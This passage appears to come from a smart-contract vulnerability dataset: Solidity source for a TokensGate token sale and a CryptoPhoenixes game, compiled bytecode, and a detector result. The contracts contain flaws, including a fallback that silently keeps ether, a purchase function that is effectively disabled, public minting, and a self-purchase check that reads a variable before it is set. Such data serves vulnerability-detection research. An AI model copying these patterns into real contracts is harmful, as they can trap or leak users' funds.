// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
// File: contracts/TokensGate.sol
contract TokensGate is Crowdsale {
mapping(address => bool) public icoAddresses;
function TokensGate (
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet
) public
Crowdsale(_startTime, _endTime, _rate, _wallet)
{
}
function createTokenContract() internal returns (MintableToken) {
return new TGCToken();
}
function () external payable {
}
function addIcoAddress(address _icoAddress) public {
require(msg.sender == wallet);
icoAddresses[_icoAddress] = true;
}
function buyTokens(address beneficiary) public payable {
require(beneficiary == address(0));
}
function mintTokens(address walletToMint, uint256 t) payable public {
require(walletToMint != address(0));
require(icoAddresses[walletToMint]);
token.mint(walletToMint, t);
}
function changeOwner(address newOwner) payable public {
require(msg.sender == wallet);
wallet = newOwner;
}
function tokenOwnership(address newOwner) payable public {
require(msg.sender == wallet);
token.transferOwnership(newOwner);
}
function setEndTime(uint256 newEndTime) payable public {
require(msg.sender == wallet);
endTime = newEndTime;
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde0314610118578063095ea7b3146101a657806318160ddd1461020057806323b872dd14610229578063313ce567146102a257806340c10f19146102d1578063661884631461032b57806370a08231146103855780637d64bcb4146103d25780638da5cb5b146103ff57806395d89b4114610454578063a9059cbb146104e2578063d73dd6231461053c578063dd62ed3e14610596578063f2fde38b14610602575b600080fd5b34156100f657600080fd5b6100fe61063b565b604051808215151515815260200191505060405180910390f35b341561012357600080fd5b61012b61064e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016b578082015181840152602081019050610150565b50505050905090810190601f1680156101985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b157600080fd5b6101e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610687565b604051808215151515815260200191505060405180910390f35b341561020b57600080fd5b610213610779565b6040518082815260200191505060405180910390f35b341561023457600080fd5b610288600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061077f565b604051808215151515815260200191505060405180910390f35b34156102ad57600080fd5b6102b5610b3e565b604051808260ff1660ff16815260200191505060405180910390f35b34156102dc57600080fd5b610311600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b43565b604051808215151515815260200191505060405180910390f35b341561033657600080fd5b61036b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d5d565b604051808215151515815260200191505060405180910390f35b341561039057600080fd5b6103bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fee565b6040518082815260200191505060405180910390f35b34156103dd57600080fd5b6103e5611037565b604051808215151515815260200191505060405180910390f35b341561040a57600080fd5b6104126110ff565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561045f57600080fd5b610467611125565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a757808201518184015260208101905061048c565b50505050905090810190601f1680156104d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104ed57600080fd5b610522600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061115e565b604051808215151515815260200191505060405180910390f35b341561054757600080fd5b61057c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611382565b604051808215151515815260200191505060405180910390f35b34156105a157600080fd5b6105ec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061157e565b6040518082815260200191505060405180910390f35b341561060d57600080fd5b610639600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611605565b005b600360149054906101000a900460ff1681565b6040805190810160405280600f81526020017f546f6b656e734761746520436f696e000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107bc57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561080a57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561089557600080fd5b6108e782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061097c82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a4e82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ba157600080fd5b600360149054906101000a900460ff16151515610bbd57600080fd5b6b033b2e3c9fd0803ce8000000610bdf8360005461177690919063ffffffff16565b1115610bee5760009050610d57565b610c038260005461177690919063ffffffff16565b600081905550610c5b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e6e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f02565b610e81838261175d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561109557600080fd5b600360149054906101000a900460ff161515156110b157600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f544743000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561119b57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111e957600080fd5b61123b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112d082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061141382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561166157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561169d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561176b57fe5b818303905092915050565b600080828401905083811015151561178a57fe5b80915050929150505600a165627a7a7230582058a5df912cc4bb739e8dcafbdd555c191f124e39b9700f292c58ba9a8e7a39640029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,328 |
0xfd640dbe512bfcee682898869c2ffb2d13e55dca
|
pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = true;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CryptoPhoenixes is Ownable, Pausable {
using SafeMath for uint256;
address public subDev;
Phoenix[] private phoenixes;
uint256 public PHOENIX_POOL;
uint256 public EXPLOSION_DENOMINATOR = 1000; //Eg explosivePower = 30 -> 3%
bool public ALLOW_BETA = true;
uint BETA_CUTOFF;
// devFunds
mapping (address => uint256) public devFunds;
// dividends
mapping (address => uint256) public userFunds;
// Events
event PhoenixPurchased(
uint256 _phoenixId,
address oldOwner,
address newOwner,
uint256 price,
uint256 nextPrice
);
event PhoenixExploded(
uint256 phoenixId,
address owner,
uint256 payout,
uint256 price,
uint nextExplosionTime
);
event WithdrewFunds(
address owner
);
// Caps for price changes and cutoffs
uint256 constant private QUARTER_ETH_CAP = 0.25 ether;
uint256 constant private ONE_ETH_CAP = 1.0 ether;
uint256 public BASE_PRICE = 0.0025 ether;
uint256 public PRICE_CUTOFF = 1.0 ether;
uint256 public HIGHER_PRICE_RESET_PERCENTAGE = 20;
uint256 public LOWER_PRICE_RESET_PERCENTAGE = 10;
// Struct to store Phoenix Data
struct Phoenix {
uint256 price; // Current price of phoenix
uint256 dividendPayout; // The percent of the dividends pool rewarded
uint256 explosivePower; // Percentage that phoenix can claim from PHOENIX_POOL after explode() function is called
uint cooldown; // Time it takes for phoenix to recharge till next explosion
uint nextExplosionTime; // Time of next explosion
address previousOwner; // Owner of the phoenix who triggered explosion in previous round
address currentOwner; // Owner of phoenix in current round
}
// Check if game is in beta or not. Certain functions will be disabled after beta period ends.
modifier inBeta() {
require(ALLOW_BETA);
_;
}
// Main function to set the beta period and sub developer
function CryptoPhoenixes(address _subDev) {
BETA_CUTOFF = now + 90 * 1 days; //Allow 3 months to tweak parameters
subDev = _subDev;
}
// Function anyone can call to turn off beta, thus disabling some functions
function closeBeta() {
require(now >= BETA_CUTOFF);
ALLOW_BETA = false;
}
function createPhoenix(uint256 _payoutPercentage, uint256 _explosivePower, uint _cooldown) onlyOwner public {
var phoenix = Phoenix({
price: BASE_PRICE,
dividendPayout: _payoutPercentage,
explosivePower: _explosivePower,
cooldown: _cooldown,
nextExplosionTime: now,
previousOwner: address(0),
currentOwner: this
});
phoenixes.push(phoenix);
}
function createMultiplePhoenixes(uint256[] _payoutPercentages, uint256[] _explosivePowers, uint[] _cooldowns) onlyOwner public {
require(_payoutPercentages.length == _explosivePowers.length);
require(_explosivePowers.length == _cooldowns.length);
for (uint256 i = 0; i < _payoutPercentages.length; i++) {
createPhoenix(_payoutPercentages[i],_explosivePowers[i],_cooldowns[i]);
}
}
function getPhoenix(uint256 _phoenixId) public view returns (
uint256 price,
uint256 nextPrice,
uint256 dividendPayout,
uint256 effectivePayout,
uint256 explosivePower,
uint cooldown,
uint nextExplosionTime,
address previousOwner,
address currentOwner
) {
var phoenix = phoenixes[_phoenixId];
price = phoenix.price;
nextPrice = getNextPrice(phoenix.price);
dividendPayout = phoenix.dividendPayout;
effectivePayout = phoenix.dividendPayout.mul(10000).div(getTotalPayout());
explosivePower = phoenix.explosivePower;
cooldown = phoenix.cooldown;
nextExplosionTime = phoenix.nextExplosionTime;
previousOwner = phoenix.previousOwner;
currentOwner = phoenix.currentOwner;
}
/**
* @dev Determines next price of token
* @param _price uint256 ID of current price
*/
function getNextPrice (uint256 _price) private pure returns (uint256 _nextPrice) {
if (_price < QUARTER_ETH_CAP) {
return _price.mul(140).div(100); //1.4x
} else if (_price < ONE_ETH_CAP) {
return _price.mul(130).div(100); //1.3x
} else {
return _price.mul(125).div(100); //1.25x
}
}
/**
* @dev Set dividend payout of phoenix
* @param _phoenixId id of phoenix
* @param _payoutPercentage uint256 Desired payout percentage
*/
function setDividendPayout (uint256 _phoenixId, uint256 _payoutPercentage) onlyOwner inBeta {
Phoenix phoenix = phoenixes[_phoenixId];
phoenix.dividendPayout = _payoutPercentage;
}
/**
* @dev Set explosive power of phoenix
* @param _phoenixId id of phoenix
* @param _explosivePower uint256 Desired claimable percentage from PHOENIX_POOL
*/
function setExplosivePower (uint256 _phoenixId, uint256 _explosivePower) onlyOwner inBeta {
Phoenix phoenix = phoenixes[_phoenixId];
phoenix.explosivePower = _explosivePower;
}
/**
* @dev Set cooldown of phoenix
* @param _phoenixId id of phoenix
* @param _cooldown uint256 Desired cooldown time
*/
function setCooldown (uint256 _phoenixId, uint256 _cooldown) onlyOwner inBeta {
Phoenix phoenix = phoenixes[_phoenixId];
phoenix.cooldown = _cooldown;
}
/**
* @dev Set price cutoff when determining phoenix price after explosion. To adjust for ETH price fluctuations
* @param _price uint256 Price cutoff in wei
*/
function setPriceCutoff (uint256 _price) onlyOwner {
PRICE_CUTOFF = _price;
}
/**
* @dev Set price percentage for when price exceeds or equates to price cutoff to reset to
* @param _percentage uint256 Desired percentage
*/
function setHigherPricePercentage (uint256 _percentage) onlyOwner inBeta {
require(_percentage > 0);
require(_percentage < 100);
HIGHER_PRICE_RESET_PERCENTAGE = _percentage;
}
/**
* @dev Set price percentage for when price is lower than price cutoff to reset to
* @param _percentage uint256 Desired percentage
*/
function setLowerPricePercentage (uint256 _percentage) onlyOwner inBeta {
require(_percentage > 0);
require(_percentage < 100);
LOWER_PRICE_RESET_PERCENTAGE = _percentage;
}
/**
* @dev Set base price for phoenixes. To adjust for ETH price fluctuations
* @param _amount uint256 Desired amount in wei
*/
function setBasePrice (uint256 _amount) onlyOwner {
require(_amount > 0);
BASE_PRICE = _amount;
}
/**
* @dev Purchase show from previous owner
* @param _phoenixId uint256 of token
*/
function purchasePhoenix(uint256 _phoenixId) whenNotPaused public payable {
Phoenix phoenix = phoenixes[_phoenixId];
//Get current price of phoenix
uint256 price = phoenix.price;
// revert checks
require(price > 0);
require(msg.value >= price);
//prevent multiple subsequent purchases
require(outgoingOwner != msg.sender);
//Get owners of phoenixes
address previousOwner = phoenix.previousOwner;
address outgoingOwner = phoenix.currentOwner;
//Define Cut variables
uint256 devCut;
uint256 dividendsCut;
uint256 previousOwnerCut;
uint256 phoenixPoolCut;
uint256 phoenixPoolPurchaseExcessCut;
//Calculate excess
uint256 purchaseExcess = msg.value.sub(price);
//handle boundary case where we assign previousOwner to the user
if (previousOwner == address(0)) {
phoenix.previousOwner = msg.sender;
}
//Calculate cuts
(devCut,dividendsCut,previousOwnerCut,phoenixPoolCut) = calculateCuts(price);
// Amount payable to old owner minus the developer's and pools' cuts.
uint256 outgoingOwnerCut = price.sub(devCut);
outgoingOwnerCut = outgoingOwnerCut.sub(dividendsCut);
outgoingOwnerCut = outgoingOwnerCut.sub(previousOwnerCut);
outgoingOwnerCut = outgoingOwnerCut.sub(phoenixPoolCut);
// Take 2% cut from leftovers of overbidding
phoenixPoolPurchaseExcessCut = purchaseExcess.mul(2).div(100);
purchaseExcess = purchaseExcess.sub(phoenixPoolPurchaseExcessCut);
phoenixPoolCut = phoenixPoolCut.add(phoenixPoolPurchaseExcessCut);
// set new price
phoenix.price = getNextPrice(price);
// set new owner
phoenix.currentOwner = msg.sender;
//Actual transfer
devFunds[owner] = devFunds[owner].add(devCut.mul(7).div(10)); //70% of dev cut goes to owner
devFunds[subDev] = devFunds[subDev].add(devCut.mul(3).div(10)); //30% goes to other dev
distributeDividends(dividendsCut);
userFunds[previousOwner] = userFunds[previousOwner].add(previousOwnerCut);
PHOENIX_POOL = PHOENIX_POOL.add(phoenixPoolCut);
//handle boundary case where we exclude currentOwner == address(this) when transferring funds
if (outgoingOwner != address(this)) {
sendFunds(outgoingOwner,outgoingOwnerCut);
}
// Send refund to owner if needed
if (purchaseExcess > 0) {
sendFunds(msg.sender,purchaseExcess);
}
// raise event
PhoenixPurchased(_phoenixId, outgoingOwner, msg.sender, price, phoenix.price);
}
function calculateCuts(uint256 _price) private pure returns (
uint256 devCut,
uint256 dividendsCut,
uint256 previousOwnerCut,
uint256 phoenixPoolCut
) {
// Calculate cuts
// 2% goes to developers
devCut = _price.mul(2).div(100);
// 2.5% goes to dividends
dividendsCut = _price.mul(25).div(1000);
// 0.5% goes to owner of phoenix in previous exploded round
previousOwnerCut = _price.mul(5).div(1000);
// 10-12% goes to phoenix pool
phoenixPoolCut = calculatePhoenixPoolCut(_price);
}
function calculatePhoenixPoolCut (uint256 _price) private pure returns (uint256 _poolCut) {
if (_price < QUARTER_ETH_CAP) {
return _price.mul(12).div(100); //12%
} else if (_price < ONE_ETH_CAP) {
return _price.mul(11).div(100); //11%
} else {
return _price.mul(10).div(100); //10%
}
}
function distributeDividends(uint256 _dividendsCut) private {
uint256 totalPayout = getTotalPayout();
for (uint256 i = 0; i < phoenixes.length; i++) {
var phoenix = phoenixes[i];
var payout = _dividendsCut.mul(phoenix.dividendPayout).div(totalPayout);
userFunds[phoenix.currentOwner] = userFunds[phoenix.currentOwner].add(payout);
}
}
function getTotalPayout() private view returns(uint256) {
uint256 totalPayout = 0;
for (uint256 i = 0; i < phoenixes.length; i++) {
var phoenix = phoenixes[i];
totalPayout = totalPayout.add(phoenix.dividendPayout);
}
return totalPayout;
}
//Note that the previous and current owner will be the same person after this function is called
function explodePhoenix(uint256 _phoenixId) whenNotPaused public {
Phoenix phoenix = phoenixes[_phoenixId];
require(msg.sender == phoenix.currentOwner);
require(PHOENIX_POOL > 0);
require(now >= phoenix.nextExplosionTime);
uint256 payout = phoenix.explosivePower.mul(PHOENIX_POOL).div(EXPLOSION_DENOMINATOR);
//subtract from phoenix_POOL
PHOENIX_POOL = PHOENIX_POOL.sub(payout);
//decrease phoenix price
if (phoenix.price >= PRICE_CUTOFF) {
phoenix.price = phoenix.price.mul(HIGHER_PRICE_RESET_PERCENTAGE).div(100);
} else {
phoenix.price = phoenix.price.mul(LOWER_PRICE_RESET_PERCENTAGE).div(100);
if (phoenix.price < BASE_PRICE) {
phoenix.price = BASE_PRICE;
}
}
// set previous owner to be current owner, so he can get extra dividends next round
phoenix.previousOwner = msg.sender;
// reset cooldown
phoenix.nextExplosionTime = now + (phoenix.cooldown * 1 minutes);
// Finally, payout to user
sendFunds(msg.sender,payout);
//raise event
PhoenixExploded(_phoenixId, msg.sender, payout, phoenix.price, phoenix.nextExplosionTime);
}
/**
* @dev Try to send funds immediately
* If it fails, user has to manually withdraw.
*/
function sendFunds(address _user, uint256 _payout) private {
if (!_user.send(_payout)) {
userFunds[_user] = userFunds[_user].add(_payout);
}
}
/**
* @dev Withdraw dev cut.
*/
function devWithdraw() public {
uint256 funds = devFunds[msg.sender];
require(funds > 0);
devFunds[msg.sender] = 0;
msg.sender.transfer(funds);
}
/**
* @dev Users can withdraw their accumulated dividends
*/
function withdrawFunds() public {
uint256 funds = userFunds[msg.sender];
require(funds > 0);
userFunds[msg.sender] = 0;
msg.sender.transfer(funds);
WithdrewFunds(msg.sender);
}
}
|
0x606060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630872c8131461017a57806314e604b61461018f5780631751dc90146101b857806324600fc3146102925780633f4ba83a146102a7578063454aa6cf146102bc57806355e7a663146103835780635c975abb146103a65780635e0be75c146103d357806362dc0133146103ff5780637365e1fd1461042857806373e945f61461044b578063777a5dc5146104985780637b3cf41a146104bb5780638387c6e1146104e75780638456cb59146105345780638da5cb5b146105495780639853b2341461059e578063a48296d9146105d3578063a50ed19b146105eb578063ad559fd614610617578063ad606c721461063a578063ba081b8d1461064f578063dc35a6bd14610678578063de4b3262146106a1578063eea4cf1c146106c4578063f2e3490914610719578063f37a9c1c14610742578063f86325ed1461076f575b600080fd5b341561018557600080fd5b61018d610798565b005b341561019a57600080fd5b6101a26107c6565b6040518082815260200191505060405180910390f35b34156101c357600080fd5b61029060048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506107cc565b005b341561029d57600080fd5b6102a56108ba565b005b34156102b257600080fd5b6102ba6109f8565b005b34156102c757600080fd5b6102dd6004808035906020019091905050610ab6565b604051808a81526020018981526020018881526020018781526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001995050505050505050505060405180910390f35b341561038e57600080fd5b6103a46004808035906020019091905050610ba6565b005b34156103b157600080fd5b6103b9610c44565b604051808215151515815260200191505060405180910390f35b34156103de57600080fd5b6103fd6004808035906020019091908035906020019091905050610c57565b005b341561040a57600080fd5b610412610cfc565b6040518082815260200191505060405180910390f35b341561043357600080fd5b6104496004808035906020019091905050610d02565b005b341561045657600080fd5b610482600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d67565b6040518082815260200191505060405180910390f35b34156104a357600080fd5b6104b96004808035906020019091905050610d7f565b005b34156104c657600080fd5b6104e5600480803590602001909190803590602001909190505061100f565b005b34156104f257600080fd5b61051e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110b4565b6040518082815260200191505060405180910390f35b341561053f57600080fd5b6105476110cc565b005b341561055457600080fd5b61055c61118c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105a957600080fd5b6105d160048080359060200190919080359060200190919080359060200190919050506111b1565b005b6105e9600480803590602001909190505061136c565b005b34156105f657600080fd5b61061560048080359060200190919080359060200190919050506119d1565b005b341561062257600080fd5b6106386004808035906020019091905050611a76565b005b341561064557600080fd5b61064d611b14565b005b341561065a57600080fd5b610662611bef565b6040518082815260200191505060405180910390f35b341561068357600080fd5b61068b611bf5565b6040518082815260200191505060405180910390f35b34156106ac57600080fd5b6106c26004808035906020019091905050611bfb565b005b34156106cf57600080fd5b6106d7611c6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561072457600080fd5b61072c611c95565b6040518082815260200191505060405180910390f35b341561074d57600080fd5b610755611c9b565b604051808215151515815260200191505060405180910390f35b341561077a57600080fd5b610782611cae565b6040518082815260200191505060405180910390f35b60065442101515156107a957600080fd5b6000600560006101000a81548160ff02191690831515021